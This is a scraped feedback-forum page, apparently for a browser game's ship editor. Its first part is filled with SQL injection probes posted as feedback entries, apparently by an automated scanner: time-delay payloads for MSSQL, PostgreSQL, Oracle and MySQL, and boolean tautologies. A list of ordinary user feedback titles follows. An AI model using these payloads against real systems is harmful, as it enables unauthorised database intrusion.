• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1fs4h1dZd'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 914=(SELECT 914 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 94=(SELECT 94 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 546=(SELECT 546 FROM PG_SLEEP(15))--

• dwUQQUrL

  1WrtwRUvh' OR 486=(SELECT 486 FROM PG_SLEEP(15))--

• dwUQQUrL

  1UMeQSLKP') OR 823=(SELECT 823 FROM PG_SLEEP(15))--

• dwUQQUrL

  1k9YyIeg0')) OR 448=(SELECT 448 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@f1fyH

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLBEYobBGI

  1

• dwUQQUrL

  1

• -1 OR 2+178-178-1=0+0+0+1 --

  1

• -1 OR 2+239-239-1=0+0+0+1

  1

• -1' OR 2+535-535-1=0+0+0+1 --

  1

• -1' OR 2+844-844-1=0+0+0+1 or 'XZ3f9hah'='

  1

• -1" OR 2+149-149-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLjjyfH2kd'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@xQXII

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1xCsvOqPG

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+38-38-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+143-143-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+93-93-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+826-826-1=0+0+0+1 or '6CSI3akE'='

• kEMlzpAX

  -1" OR 2+738-738-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1j7qyxWPS'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 70=(SELECT 70 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 858=(SELECT 858 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 312=(SELECT 312 FROM PG_SLEEP(15))--

• kEMlzpAX

  1hh5SNoxP' OR 953=(SELECT 953 FROM PG_SLEEP(15))--

• kEMlzpAX

  1dkUeEoMO') OR 480=(SELECT 480 FROM PG_SLEEP(15))--

• kEMlzpAX

  15yhqxJeX')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@srqzv

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXKZ5v1tOQ

  1

• kEMlzpAX

  1

• -1 OR 2+887-887-1=0+0+0+1 --

  1

• -1 OR 2+493-493-1=0+0+0+1

  1

• -1' OR 2+738-738-1=0+0+0+1 --

  1

• -1' OR 2+28-28-1=0+0+0+1 or '2rwsSnPd'='

  1

• -1" OR 2+341-341-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXRfG2NNoS'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@EYdd0

  1

• kEMlzpAX

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 159 months ago
  Unvote

  8176 agree

• Hack Protection
  By Stealthkid - 151 months ago
  Unvote

  2948 agree

• Add to favorites
  By Anonymous - 162 months ago
  Unvote

  909 agree

• editro
  By critic - 162 months ago
  Unvote

  863 agree

• Missiles as an Third Weapon
  By Ram - 158 months ago
  Unvote

  845 agree

• Youtube B-wing achievement
  By chuck norris - 160 months ago
  Unvote

  838 agree

• Change Name?
  By Anonymous - 162 months ago
  Unvote

  835 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 118 months ago
  Unvote

  802 agree

• Slide ship in on start
  By Kickass guy - 162 months ago
  Unvote

  769 agree

• Mistaken Website Bug
  By CrazyDeathling - 160 months ago
  Vote

  753 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 157 months ago
  Unvote

  751 agree

• Rank list & Leaderboards
  By StoleYourFood - 156 months ago
  Unvote

  739 agree

• What browsers are supported?
  By Jack - 158 months ago
  Unvote

  731 agree

• It doesn't work!
  By the destructor - 161 months ago
  Unvote

  720 agree

• Awesome
  By Anonymous - 154 months ago
  Unvote

  684 agree

• Save
  By DevilishDB - 160 months ago
  Unvote

  677 agree

• Try Me does not work
  By Tim - 162 months ago
  Unvote

  673 agree

• Two major glitches
  By BeyPokéDig - 161 months ago
  Unvote

  671 agree

• Undo button
  By wombat - 159 months ago
  Unvote

  660 agree

• battle
  By alexof - 159 months ago
  Unvote

  660 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 154 months ago
  Unvote

  655 agree

• achievements
  By Lee - 161 months ago
  Unvote

  652 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 161 months ago
  Unvote

  648 agree

• how do i draw the outline
  By kickassisdeboss - 161 months ago
  Unvote

  647 agree

• omfg
  By Russellmichael13 - 160 months ago
  Vote

  642 agree

• Pen tool
  By Cblackdragon - 156 months ago
  Unvote

  638 agree

• White labeling the app?
  By Peter.dibart - 157 months ago
  Unvote

  617 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 161 months ago
  Unvote

  614 agree

• You guys should have a symmetrical mode
  By Idrees - 161 months ago
  Unvote

  605 agree

• need some advice
  By Hao - 159 months ago
  Unvote

  598 agree

• Enemies
  By Agallup16 - 161 months ago
  Unvote

  591 agree

• Mirrored editing
  By wombat - 159 months ago
  Unvote

  590 agree

• Designer
  By Anonymous - 162 months ago
  Unvote

  578 agree

• Forums
  By BeyPokéDig - 161 months ago
  Unvote

  577 agree

• Rankings
  By heyo - 161 months ago
  Unvote

  577 agree

• Benefits from improving ranks
  By hurrtz - 157 months ago
  Unvote

  574 agree

• Pro!!
  By Jtbui20 - 160 months ago
  Unvote

  570 agree

• Button
  By Cottonball - 160 months ago
  Unvote

  569 agree

• android app
  By Barissenkal - 152 months ago
  Unvote

  565 agree

• help
  By Russellmichael13 - 160 months ago
  Unvote

  560 agree

• Extra weapons
  By MassMurdererOver9000 - 156 months ago
  Unvote

  552 agree

• Undo Button
  By Cblackdragon - 156 months ago
  Unvote

  550 agree

• I am using this on my site
  By Idrees - 161 months ago
  Unvote

  550 agree

• 1 agrees
  By BeyPokéDig - 161 months ago
  Unvote

  549 agree

• 0xp till| Only GA.
  By StoleYourFood - 156 months ago
  Unvote

  545 agree

• Image for ship
  By wombat - 159 months ago
  Unvote

  541 agree

• You guys need an undo button
  By Idrees - 161 months ago
  Unvote

  524 agree

• Question
  By Kickin Ass - 161 months ago
  Unvote

  524 agree

• how come the editor is so hard to use
  By Rcasassin - 158 months ago
  Unvote

  518 agree

• page moving up/down while controling the ship?
  By Tommy - 161 months ago
  Unvote

  502 agree